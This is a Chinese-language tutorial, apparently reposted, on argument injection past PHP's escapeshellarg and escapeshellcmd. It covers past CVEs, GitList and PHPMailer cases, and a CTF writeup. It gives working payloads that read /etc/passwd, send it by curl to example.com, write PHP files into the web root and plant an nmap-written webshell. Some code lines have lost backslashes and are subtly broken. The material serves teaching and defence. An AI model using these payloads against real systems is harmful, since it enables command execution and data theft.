内容简介:转义字符串使得
escapeshellarg
string escapeshellarg ( string $arg )
转义字符串 $arg 中的单引号并使用单引号包裹此部分
使得 $arg 只能传递一个参数,且不能执行不同的命令
escapeshellcmd
string escapeshellcmd ( string $command )
转义 & # ; ` | * ? ~ < > ^ ( ) [ ] { } $ 、 x0A 和 xF , ' 和 " 仅在落单时被转义
使得 $command 只能执行一个命令,但可以传递多个参数
举个栗子
172.17.0.2' -v -d a=1 '172.17.0.2''' -v -d a=1' '172.17.0.2'\'' -v -d a=1' 172.17.0.2 -v -d a=1'
历史漏洞
- Windows下PHP<=4.3.6- CVE-2004-0542
$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
//or
$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
- PHP4<=4.4.8与PHP5<=5.2.5- CVE-2008-2051
//需要有可变宽度字符集的 shell 环境(例如GBK、EUC-KR、SJIS) $text = "sth"; system(escapeshellcmd("echo ".$text)); $text = "sth xc0; id"; system(escapeshellcmd("echo ".$text)); //or $text1 = 'word'; $text2 = 'word2'; system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2)); $text1 = "word xc0"; $text2 = "; id ; #"; system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
- Windows下PHP5.4.42以下, 5.5.26以下的5.5.x, 5.6.10以下的5.6.x- CVE-2015-4642
//向函数传递额外的`(--param3)`
$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\';
$b = 'b -c --param3\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
- PHP7.0.2以下的7.x- CVE-2016-1904
如果向 escapeshellarg 或 escapeshellarg 传递1024兆个字节,则可能会触发堆溢出
- Windows下5.4.43以下的5.4.x, 5.5.27以下的5.5.x, 5.6.11以下的5.6.x- Bugs
//EnableDelayedExpansion`为`enabled`时,`!STH!`的特性类似于`%STH%`,而`escapeshellarg`并未处理`!` //可以在HKLM或HKCU下的注册表中设置EnableDelayedExpansion [HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor] "DelayedExpansion"= (REG_DWORD) 1=enabled 0=disabled (default) // Leak appdata dir value $text = '!APPDATA!'; print "echo ".escapeshellarg($text);
- PHP5.6.18以下- Bugs
//`ext/standard/exec.c`中
echo escapeshellarg("helloworld");
=>
hello
参数注入
由上文可以看出,当存在 escapeshellarg 或 escapeshellcmd 时均不可能执行第二个命令,但仍能传递多个参数给 escapeshellcmd ,漏洞可造成的危害取决于当前程序所拥有的功能
- 将
some_file压缩至/tmp/sth
$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));
- 创建
/tmp/exploit空文件
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));
- 在
/tmp目录下查找some_file
$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));
- 输出
/etc/passwd的内容
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));
- 下载
example.php
$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
- 保存
.php文件至指定目录
$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
sendmail
- 将发件人地址设置为
from@sth.com并发送mail.txt
$from = 'from@sth.com';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
- 输出
/etc/passwd的内容
$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
- 获取
http://example.com的内容
$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));
- 将
/etc/passwd发送到http://example.com
$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));
file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));
- 执行 SQL 语句
$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
- 执行
id命令
$sql = '! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
- 从
archive.zip中解压所有.tmp文件至/tmp目录
$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));
- 从
archive.zip中解压所有.tmp文件至/var/www/html目录
$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');
若未设置 LANG 环境变量则跳过非ASCII字符
$filename = 'résumé.pdf'; // string(10) "'rsum.pdf'" var_dump(escapeshellarg($filename)); setlocale(LC_CTYPE, 'en_US.utf8'); //string(14) "'résumé.pdf'" var_dump(escapeshellarg($filename));
使用 .bat 执行命令
- 列出
somedir中的文件
$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
- 同时执行
whoami命令
$dir = "somedir x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
可参阅: 如何在Windows上传递参数至新进程
结合 escapeshellcmd 与 escapeshellarg
此时可以向函数传递第二个参数
- 列出
/tmp中的文件并忽略sth
$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
- 使用长列表模式输出
/tmp中的文件并忽略sth
$arg = "sth' -l ";
// ls --ignore='exploit'\'' -l ' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
GitList
GitList 0.6的 源代码 中,存在参数注入导致的远程命令执行
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (RuntimeException $e) {
return false;
}
}
上述代码可简化为:
$query = 'sth';
system('git grep -i --line-number '.escapeshellarg($query).' *');
由 git-grep文档 可知, --open-files-in-pager 类似于 find 命令的 -exec
$query = '--open-files-in-pager=id;';
system('git grep -i --line-number '.escapeshellarg($query).' *');
修复方案
p神曾经分析过,漏洞最佳解决方案为将 $query 作为 -e 参数的值,即 git grep -i --line-number -e '--open-files-in-pager=id;' master ,不过gitlist采取了另外一种措施:
//将`-`替换后在`$query`前加上`--`
<?php
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = preg_replace('/(--?[A-Za-z0-9-]+)/', '', $query);
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number -- {$query} $branch");
} catch (RuntimeException $e) {
return false;
}
PHPMailer
PHPMailer的 源代码 中,存在参数注入导致的远程命令执行
if (force_extra_parameters) {
extra_cmd = php_escape_shell_cmd(force_extra_parameters);
} else if (extra_cmd) {
extra_cmd = php_escape_shell_cmd(extra_cmd);
}
if (php_mail(to_r, subject_r, message, headers_trimmed, extra_cmd TSRMLS_CC)) {
RETVAL_TRUE;
} else {
RETVAL_FALSE;
}
上述代码可简化为:
<?php $param = "172.17.0.2" -v -d a=1"; $ep = escapeshellarg($param); $eep = escapeshellcmd($ep); $cmd = "curl " . $eep; system($cmd);
当两个函数以 ->escapeshellarg->escapeshellcmd-> 的顺序配合使用时,则会存在参数注入。 a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com 最终变成了 '-fa'\''( -OQueueDirectory=/tmp -X/var/www/html/test.php )@a.com' ,但若将其顺序调换则不会出现此问题,即 ->escapeshellcmd->escapeshellarg->
Nmap命令执行
- 一道Web安全测试南京总决赛时的CTF题
<?php
include("flag.php");
if(!isset($_GET['host'])){
highlight_file(__FILE__);
}else{
$host =(string)$_GET['host'];
$host=escapeshellarg($host);
$host=escapeshellcmd($host);
$sandbox = md5("box".$_SERVER['REMOTE_ADDR']);
echo "you are in sandbox: ".$sandbox."<br/>";
@mkdir($sandbox);
chdir($sandbox);
echo "<pre>";
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
echo "</pre>";
}
?>
因为输入流先进 escapeshellarg 函数,再进 escapeshellcmd 函数,所以存在参数注入。随后可利用nmap的 -oN 参数将Webshell写入沙盒文件夹。
逃逸单引号
Payload: ?host=' <?php phpinfo();?> -oN shell.php '
参考资料
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Web Development Recipes
Brian P. Hogan、Chris Warren、Mike Weber、Chris Johnson、Aaron Godin / Pragmatic Bookshelf / 2012-1-22 / USD 35.00
You'll see a full spectrum of cutting-edge web development techniques, from UI and eye candy recipes to solutions for data analysis, testing, and web hosting. Make buttons and content stand out with s......一起来看看 《Web Development Recipes》 这本书的介绍吧!